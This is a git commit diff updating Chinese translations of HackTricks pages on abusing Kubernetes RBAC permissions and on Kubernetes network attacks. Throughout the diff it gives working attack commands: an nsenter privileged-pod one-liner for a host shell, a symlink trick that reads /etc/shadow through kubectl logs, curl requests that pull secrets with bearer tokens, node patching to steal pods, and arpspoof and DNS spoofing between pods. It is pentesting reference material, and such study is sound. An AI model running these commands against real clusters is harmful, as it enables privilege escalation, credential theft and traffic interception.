mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -78,8 +78,8 @@ hostNetwork: true
|
||||
|
||||
- **特权访问**(禁用保护和设置能力)
|
||||
- **禁用命名空间 hostIPC 和 hostPid**,这可以帮助提升权限
|
||||
- **禁用 hostNetwork** 命名空间,允许访问以窃取节点的云权限并更好地访问网络
|
||||
- **在容器内挂载主机 /**
|
||||
- **禁用 hostNetwork** 命名空间,允许访问以窃取节点的云权限和更好地访问网络
|
||||
- **在容器内挂载主机**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,7 +119,7 @@ path: /
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
来自[这条推文](https://twitter.com/mauilion/status/1129468485480751104)的单行代码,并附加了一些内容:
|
||||
来自[this tweet](https://twitter.com/mauilion/status/1129468485480751104)的单行代码,并附加了一些内容:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
|
||||
#### 隐蔽性
|
||||
|
||||
您可能想要更加**隐蔽**,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问的内容:
|
||||
您可能希望更加**隐蔽**,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问的内容:
|
||||
|
||||
- **特权 + hostPID**
|
||||
- **仅特权**
|
||||
@@ -214,7 +214,7 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
这基本上是因为当**Kube-API 尝试获取容器的日志**(使用 `kubectl logs <pod>`)时,它会通过 **Kubelet** 服务的 `/logs/` 端点请求 pod 的 `0.log` 文件。\
|
||||
Kubelet 服务暴露了 `/logs/` 端点,这基本上是**暴露了容器的 `/var/log` 文件系统**。
|
||||
|
||||
因此,具有**写入容器 /var/log/ 文件夹权限**的攻击者可以通过两种方式滥用这种行为:
|
||||
因此,具有**写入容器 /var/log/ 文件夹权限**的攻击者可以通过两种方式利用这种行为:
|
||||
|
||||
- 修改其容器的 `0.log` 文件(通常位于 `/var/logs/pods/namespace_pod_uid/container/0.log`),使其成为指向 `/etc/shadow` 的**符号链接**。然后,您将能够通过以下方式提取主机的 shadow 文件:
|
||||
```bash
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- 如果攻击者控制了任何具有 **读取 `nodes/log` 权限** 的主体,他可以在 `/host-mounted/var/log/sym` 中创建一个 **符号链接** 指向 `/`,当 **访问 `https://<gateway>:10250/logs/sym/` 时,他将列出主机的根** 文件系统(更改符号链接可以提供对文件的访问)。
|
||||
- 如果攻击者控制了任何具有 **读取 `nodes/log` 权限** 的主体,他可以在 `/host-mounted/var/log/sym` 中创建一个指向 `/` 的 **symlink**,当 **访问 `https://<gateway>:10250/logs/sym/` 时,他将列出主机的根** 文件系统(更改 symlink 可以提供对文件的访问)。
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -252,7 +252,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
这旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
|
||||
旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -317,7 +317,7 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 列出秘密
|
||||
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密** 访问 REST API 端点:
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密** 通过访问 REST API 端点:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
@@ -382,19 +382,78 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
请注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。
|
||||
注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。
|
||||
|
||||
### 读取秘密 – 暴力破解令牌 ID
|
||||
|
||||
虽然持有具有读取权限的令牌的攻击者需要使用秘密的确切名称,但与更广泛的 _**列出秘密**_ 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,但与更广泛的 _**列出秘密**_ 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
|
||||
该令牌是从一个有限的 27 字符集(`bcdfghjklmnpqrstvwxz2456789`)生成的,而不是完整的字母数字范围。这个限制将总可能组合减少到 14,348,907(27^5)。因此,攻击者可以在几个小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务账户进行权限提升。
|
||||
该令牌是从一个有限的27字符集(`bcdfghjklmnpqrstvwxz2456789`)生成的,而不是完整的字母数字范围。这一限制将总可能组合减少到14,348,907(27^5)。因此,攻击者可以在数小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务账户进行权限提升。
|
||||
|
||||
### EncrpytionConfiguration 以明文形式存在
|
||||
|
||||
可以在此类对象中找到用于加密静态数据的明文密钥,例如:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
#
|
||||
# CAUTION: this is an example configuration.
|
||||
# Do not use this for your own cluster!
|
||||
#
|
||||
|
||||
apiVersion: apiserver.config.k8s.io/v1
|
||||
kind: EncryptionConfiguration
|
||||
resources:
|
||||
- resources:
|
||||
- secrets
|
||||
- configmaps
|
||||
- pandas.awesome.bears.example # a custom resource API
|
||||
providers:
|
||||
# This configuration does not provide data confidentiality. The first
|
||||
# configured provider is specifying the "identity" mechanism, which
|
||||
# stores resources as plain text.
|
||||
#
|
||||
- identity: {} # plain text, in other words NO encryption
|
||||
- aesgcm:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZQ==
|
||||
- name: key2
|
||||
secret: dGhpcyBpcyBwYXNzd29yZA==
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZQ==
|
||||
- name: key2
|
||||
secret: dGhpcyBpcyBwYXNzd29yZA==
|
||||
- secretbox:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
|
||||
- resources:
|
||||
- events
|
||||
providers:
|
||||
- identity: {} # do not encrypt Events even though *.* is specified below
|
||||
- resources:
|
||||
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key2
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
|
||||
- resources:
|
||||
- '*.*' # wildcard match requires Kubernetes 1.27 or later
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### 证书签名请求
|
||||
|
||||
如果您在资源 `certificatesigningrequests` 中具有动词 **`create`**(或至少在 `certificatesigningrequests/nodeClient` 中)。您可以 **创建** 一个 **新节点** 的新 CeSR。
|
||||
|
||||
根据 [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),因此在这种情况下您 **不需要额外的权限**。如果没有,您需要能够批准请求,这意味着在 `certificatesigningrequests/approval` 中更新,并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
根据 [文档,自动批准此请求是可能的](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),因此在这种情况下您 **不需要额外的权限**。如果不是,您需要能够批准请求,这意味着在 `certificatesigningrequests/approval` 中进行更新,并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
|
||||
一个 **具有所有所需权限的角色示例** 是:
|
||||
```yaml
|
||||
@@ -429,17 +488,17 @@ verbs:
|
||||
```
|
||||
所以,随着新的节点CSR获得批准,您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中,GKE K8s TLS引导配置被设置为**自动签名**,并被滥用以生成新K8s节点的凭证,然后利用这些凭证提升权限,窃取秘密。\
|
||||
如果您**拥有提到的权限,您也可以做同样的事情**。请注意,第一个示例绕过了防止新节点访问容器内部秘密的错误,因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中,GKE K8s TLS引导配置被设置为**自动签名**,并被滥用以生成新K8s节点的凭据,然后利用这些凭据提升权限,窃取秘密。\
|
||||
如果您**拥有提到的权限,您也可以做同样的事情**。请注意,第一个示例绕过了防止新节点访问容器内秘密的错误,因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭证**(但请查看第一篇文章了解如何做到这一点):
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭据**(但请查看如何在第一篇文章中做到这一点):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
可以在 EKS(需要在 AWS 上)集群的 kube-system 命名空间中修改 **`configmaps`** 的主体可以通过覆盖 **aws-auth** configmap 获得集群管理员权限。\
|
||||
所需的操作是 **`update`** 和 **`patch`**,或者如果 configmap 尚未创建,则是 **`create`**:
|
||||
所需的动词是 **`update`** 和 **`patch`**,或者如果 configmap 尚未创建,则是 **`create`**:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -482,7 +541,7 @@ groups:
|
||||
> 您可以使用 **`aws-auth`** 进行 **持久化**,以便为 **其他账户** 的用户提供访问权限。
|
||||
>
|
||||
> 然而,`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中无法工作**。但实际上,如果您将集群的 ARN 放入,而不仅仅是名称,`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 要使 `kubectl` 工作,只需确保 **配置** 受害者的 kubeconfig,并在 aws exec 参数中添加 `--profile other_account_role`,这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
> 要使 `kubectl` 工作,只需确保 **配置** 受害者的 kubeconfig,并在 aws exec 参数中添加 `--profile other_account_role`,这样 kubectl 就会使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
|
||||
### CoreDNS 配置映射
|
||||
|
||||
@@ -524,15 +583,15 @@ loadbalance
|
||||
|
||||
另一种选择是通过运行 `kubectl edit configmap coredns -n kube-system` 编辑文件并进行更改。
|
||||
|
||||
### 在 GKE 中升级权限
|
||||
### 在 GKE 中提升权限
|
||||
|
||||
有 **2 种方法将 K8s 权限分配给 GCP 实体**。在任何情况下,实体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据,或者您需要 **生成自己的 kubectl 配置文件**(请遵循下一个链接)。
|
||||
有 **2 种方法将 K8s 权限分配给 GCP 主体**。在任何情况下,主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据,或者您需要 **生成自己的 kubectl 配置文件**(请遵循下一个链接)。
|
||||
|
||||
> [!WARNING]
|
||||
> 在与 K8s API 端点交谈时,**GCP 身份验证令牌将被发送**。然后,GCP 通过 K8s API 端点首先 **检查实体**(通过电子邮件) **是否在集群内有任何访问权限**,然后检查它是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 在与 K8s API 端点交谈时,**GCP 身份验证令牌将被发送**。然后,GCP 通过 K8s API 端点首先 **检查主体**(通过电子邮件) **是否在集群内有任何访问权限**,然后检查是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 如果 **任何** 这些条件 **为真**,将会 **响应**。如果 **不**,将会给出一个 **错误**,建议通过 **GCP IAM** 授予 **权限**。
|
||||
|
||||
然后,第一种方法是使用 **GCP IAM**,K8s 权限有其 **等效的 GCP IAM 权限**,如果实体拥有这些权限,它将能够使用它。
|
||||
然后,第一种方法是使用 **GCP IAM**,K8s 权限有其 **等效的 GCP IAM 权限**,如果主体拥有它,就可以使用它。
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -542,36 +601,36 @@ loadbalance
|
||||
|
||||
### 创建 serviceaccounts 令牌
|
||||
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的实体在与 K8s API 端点交谈时 SAs(信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的主体在与 K8s API 端点交谈时 SAs(信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的实体可以获得 **其他 pods 的代码执行权限**,并可能通过添加具有特权的 securityContext 的临时容器 **突破** 到其节点。
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的主体可以获得 **其他 pods 的代码执行权限**,并可能通过添加具有特权的安全上下文的临时容器 **突破** 到其节点。
|
||||
|
||||
### ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations
|
||||
|
||||
具有 `create`、`update` 或 `patch` 任何动词的实体在 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 上可能能够 **创建这样的 webhookconfigurations** 以便能够 **升级权限**。
|
||||
具有 `create`、`update` 或 `patch` 任何动词的主体在 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 上可能能够 **创建这样的 webhookconfigurations** 以便能够 **提升权限**。
|
||||
|
||||
有关 [`mutatingwebhookconfigurations` 的示例,请查看此帖的此部分](#malicious-admission-controller)。
|
||||
|
||||
### 升级
|
||||
### 提升
|
||||
|
||||
正如您在下一部分中所读到的:[**内置的特权升级预防**](#built-in-privileged-escalation-prevention),实体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他拥有 **动词 `escalate` 或 `*`** 在 **`roles`** 或 **`clusterroles`** 上及相应的绑定选项。\
|
||||
正如您在下一部分中所读到的:[**内置特权提升预防**](#built-in-privileged-escalation-prevention),主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他在 **`roles`** 或 **`clusterroles`** 上具有 **动词 `escalate` 或 `*`** 及相应的绑定选项。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。
|
||||
|
||||
### 节点代理
|
||||
|
||||
具有访问 **`nodes/proxy`** 子资源的实体可以通过 Kubelet API **在 pods 上执行代码**(根据 [**此**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))。有关 Kubelet 身份验证的更多信息,请访问此页面:
|
||||
具有访问 **`nodes/proxy`** 子资源的主体可以通过 Kubelet API **在 pods 上执行代码**(根据 [**此**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))。有关 Kubelet 身份验证的更多信息,请访问此页面:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
您可以在这里查看如何通过 [**与 Kubelet API 授权交谈获取 RCE**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
您可以在这里查看如何通过 [**与 Kubelet API 进行授权的 RCE**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
|
||||
### 删除 pods + 无法调度的节点
|
||||
|
||||
可以 **删除 pods**(在 `pods` 资源上使用 `delete` 动词),或 **驱逐 pods**(在 `pods/eviction` 资源上使用 `create` 动词),或 **更改 pod 状态**(访问 `pods/status`)并可以 **使其他节点无法调度**(访问 `nodes/status`)或 **删除节点**(在 `nodes` 资源上使用 `delete` 动词)并控制一个 pod 的实体,可以 **从其他节点窃取 pods**,使它们在 **被攻陷的** **节点** 上 **执行**,攻击者可以 **窃取这些 pods 的令牌**。
|
||||
可以 **删除 pods**(在 `pods` 资源上使用 `delete` 动词),或 **驱逐 pods**(在 `pods/eviction` 资源上使用 `create` 动词),或 **更改 pod 状态**(访问 `pods/status`)并可以 **使其他节点无法调度**(访问 `nodes/status`)或 **删除节点**(在 `nodes` 资源上使用 `delete` 动词)并控制一个 pod 的主体,可以 **从其他节点窃取 pods**,使它们在 **被攻陷的** **节点** 上 **执行**,攻击者可以 **窃取这些 pods 的令牌**。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -588,25 +647,25 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
|
||||
### 节点和 Pods 状态
|
||||
|
||||
拥有 `nodes/status` 或 `pods/status` 上的 **`update`** 或 **`patch`** 权限的主体,可以修改标签以影响强制执行的调度约束。
|
||||
具有 `update` 或 `patch` 权限的主体可以修改标签,以影响强制执行的调度约束。
|
||||
|
||||
## 内置特权提升预防
|
||||
## 内置特权升级防护
|
||||
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权提升。
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权升级。
|
||||
|
||||
该系统确保 **用户无法通过修改角色或角色绑定来提升其权限**。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。
|
||||
|
||||
该规则规定 **用户只能在拥有角色所包含的所有权限的情况下创建或更新角色**。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 是限制在同一命名空间(或集群范围内)。
|
||||
该规则规定 **用户只能在拥有角色所包含的所有权限的情况下创建或更新角色**。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 限于同一命名空间(或集群范围内)。
|
||||
|
||||
> [!WARNING]
|
||||
> 之前规则有一个例外。如果主体对 **`roles`** 或 **`clusterroles`** 拥有 **动词 `escalate`**,他可以在没有自己拥有权限的情况下提升角色和集群角色的权限。
|
||||
|
||||
### **获取和补丁 RoleBindings/ClusterRoleBindings**
|
||||
### **获取 & 修改 RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **显然这个技术以前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。**
|
||||
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权提升,因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权升级,因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
|
||||
## 其他攻击
|
||||
|
||||
@@ -636,7 +695,7 @@ command: ["sh","-c","<execute something in the same pod but different container>
|
||||
|
||||
Admission controller **在对象持久化之前拦截对 Kubernetes API 服务器的请求**,但**在请求经过身份验证** **和授权之后**。
|
||||
|
||||
如果攻击者以某种方式成功**注入一个 Mutation Admission Controller**,他将能够**修改已经通过身份验证的请求**。这可能导致权限提升,并且通常能够在集群中持久化。
|
||||
如果攻击者以某种方式成功**注入 Mutation Admission Controller**,他将能够**修改已经通过身份验证的请求**。这可能使他能够进行权限提升,并更常见地在集群中持久化。
|
||||
|
||||
**来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
|
||||
@@ -1,19 +1,19 @@
|
||||
# Kubernetes 网络攻击
|
||||
# Kubernetes Network Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 介绍
|
||||
## Introduction
|
||||
|
||||
在 Kubernetes 中,观察到默认行为允许在 **同一节点上所有容器之间** 建立连接。这适用于命名空间的区别。因此,这种连接扩展到 **第 2 层**(以太网)。因此,这种配置可能会使系统暴露于漏洞之中。具体而言,它打开了 **恶意容器** 对同一节点上其他容器执行 **ARP 欺骗攻击** 的可能性。在这种攻击中,恶意容器可以欺骗性地拦截或修改针对其他容器的网络流量。
|
||||
在Kubernetes中,观察到默认行为允许**同一节点上所有容器之间**建立连接。这适用于命名空间的区别。因此,这种连接扩展到**第2层**(以太网)。因此,这种配置可能使系统暴露于漏洞之中。具体来说,它打开了**恶意容器**对同一节点上其他容器执行**ARP欺骗攻击**的可能性。在这种攻击中,恶意容器可以欺骗性地拦截或修改针对其他容器的网络流量。
|
||||
|
||||
ARP 欺骗攻击涉及 **攻击者在局域网中发送伪造的 ARP**(地址解析协议)消息。这导致 **攻击者的 MAC 地址与网络上合法计算机或服务器的 IP 地址关联**。在成功执行此类攻击后,攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在 OSI 模型的第 2 层上执行,这就是为什么 Kubernetes 在这一层的默认连接引发安全担忧。
|
||||
ARP欺骗攻击涉及**攻击者在局域网中发送伪造的ARP**(地址解析协议)消息。这导致**攻击者的MAC地址与网络上合法计算机或服务器的IP地址关联**。在成功执行此类攻击后,攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在OSI模型的第2层上执行,这就是为什么Kubernetes在这一层的默认连接引发安全担忧。
|
||||
|
||||
在场景中,将创建 4 台机器:
|
||||
在这种情况下,将创建4台机器:
|
||||
|
||||
- ubuntu-pe: 特权机器,用于逃逸到节点并检查指标(攻击时不需要)
|
||||
- **ubuntu-attack**: **恶意** 容器在默认命名空间中
|
||||
- **ubuntu-victim**: **受害者** 机器在 kube-system 命名空间中
|
||||
- **mysql**: **受害者** 机器在默认命名空间中
|
||||
- ubuntu-pe: 特权机器,用于逃逸到节点并检查指标(攻击不需要)
|
||||
- **ubuntu-attack**: **恶意**容器在默认命名空间中
|
||||
- **ubuntu-victim**: **受害者**机器在kube-system命名空间中
|
||||
- **mysql**: **受害者**机器在默认命名空间中
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -104,10 +104,10 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
|
||||
|
||||
一般来说,**节点内部的 pod-to-pod 网络**是通过一个连接所有 pod 的 **bridge** 可用的。这个 bridge 被称为“**cbr0**”。(一些网络插件会安装它们自己的 bridge。)**cbr0 也可以处理 ARP**(地址解析协议)解析。当一个传入的数据包到达 cbr0 时,它可以使用 ARP 解析目标 MAC 地址。
|
||||
|
||||
这一事实意味着,默认情况下,**在同一节点上运行的每个 pod**都能够在以太网级别(第 2 层)与同一节点上的任何其他 pod **通信**(与命名空间无关)。
|
||||
这一事实意味着,默认情况下,**在同一节点中运行的每个 pod**都能够在以太网层(第 2 层)上与同一节点中的任何其他 pod **通信**(与命名空间无关)。
|
||||
|
||||
> [!WARNING]
|
||||
> 因此,可以在同一节点的 pod 之间执行 A**RP 欺骗攻击。**
|
||||
> 因此,可以在同一节点中的 pod 之间执行 A**RP 欺骗攻击。**
|
||||
|
||||
### DNS
|
||||
|
||||
@@ -235,9 +235,9 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
|
||||
正如之前提到的,如果你**攻陷了与DNS服务器pod在同一节点的pod**,你可以通过**ARPSpoofing**对**桥接和DNS** pod进行**中间人攻击**并**修改所有DNS响应**。
|
||||
|
||||
你有一个非常好的**工具**和**教程**来测试这个在[**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
你有一个非常好的**工具**和**教程**来测试这个在 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
在我们的场景中,**下载**攻击者pod中的**工具**并创建一个**名为`hosts`的文件**,其中包含你想要**欺骗**的**域名**,例如:
|
||||
在我们的场景中,**下载**攻击者pod中的**工具**并创建一个名为`hosts`的**文件**,其中包含你想要**欺骗**的**域名**,例如:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
@@ -260,15 +260,47 @@ dig google.com
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> 如果你尝试创建自己的 DNS 欺骗脚本,**仅仅修改 DNS 响应**是**不行的**,因为**响应**将会有一个**源 IP**,即**恶意** **pod** 的 IP 地址,并且**不会**被**接受**。\
|
||||
> 你需要生成一个**新的 DNS 数据包**,其**源 IP**是受害者发送 DNS 请求的**DNS**(类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP,而不是 DNS 服务器 IP,更多内容在介绍中)。
|
||||
> 如果你尝试创建自己的 DNS 欺骗脚本,**仅仅修改 DNS 响应**是**不行的**,因为 **响应**将会有一个 **源 IP**,即 **恶意** **pod** 的 IP 地址,并且**不会**被**接受**。\
|
||||
> 你需要生成一个 **新的 DNS 数据包**,其 **源 IP** 是受害者发送 DNS 请求的 **DNS**(类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP,而不是 DNS 服务器 IP,更多内容在介绍中)。
|
||||
|
||||
## 通过 coreDNS configmap 进行 DNS 欺骗
|
||||
|
||||
在 kube-system 命名空间中对 configmap `coredns` 具有写权限的用户可以修改集群的 DNS 响应。
|
||||
|
||||
有关此攻击的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
{{/ref}}
|
||||
|
||||
## 滥用暴露的 Kubernetes 管理服务
|
||||
|
||||
像 Apache NiFi、Kubeflow、Argo Workflows、Weave Scope 和 Kubernetes 仪表板这样的服务通常暴露在互联网或 Kubernetes 网络中。成功**找到任何用于管理 Kubernetes 的平台并访问它**的攻击者可以滥用它以获取对 Kubernetes API 的访问权限,并执行诸如创建新 pod、修改现有 pod 或甚至删除它们的操作。
|
||||
|
||||
## 枚举 Kubernetes 网络策略
|
||||
|
||||
获取配置的 **networkpolicies**:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
获取 **Callico** 网络策略:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
获取 **Cillium** 网络策略:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
获取您的网络插件或安全解决方案安装的其他与策略相关的 CRD:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## 捕获流量
|
||||
|
||||
工具 [**Mizu**](https://github.com/up9inc/mizu) 是一个简单而强大的 API **流量查看器**,用于 Kubernetes,使你能够**查看微服务之间的所有 API 通信**,以帮助你调试和排查回归问题。\
|
||||
它将在选定的 pods 中安装代理,收集它们的流量信息并在一个 web 服务器上显示。然而,你需要高权限的 K8s 权限(而且这并不是很隐蔽)。
|
||||
工具 [**Mizu**](https://github.com/up9inc/mizu) 是一个简单而强大的 API **流量查看器,用于 Kubernetes**,使您能够 **查看微服务之间的所有 API 通信**,以帮助您调试和排查回归问题。\
|
||||
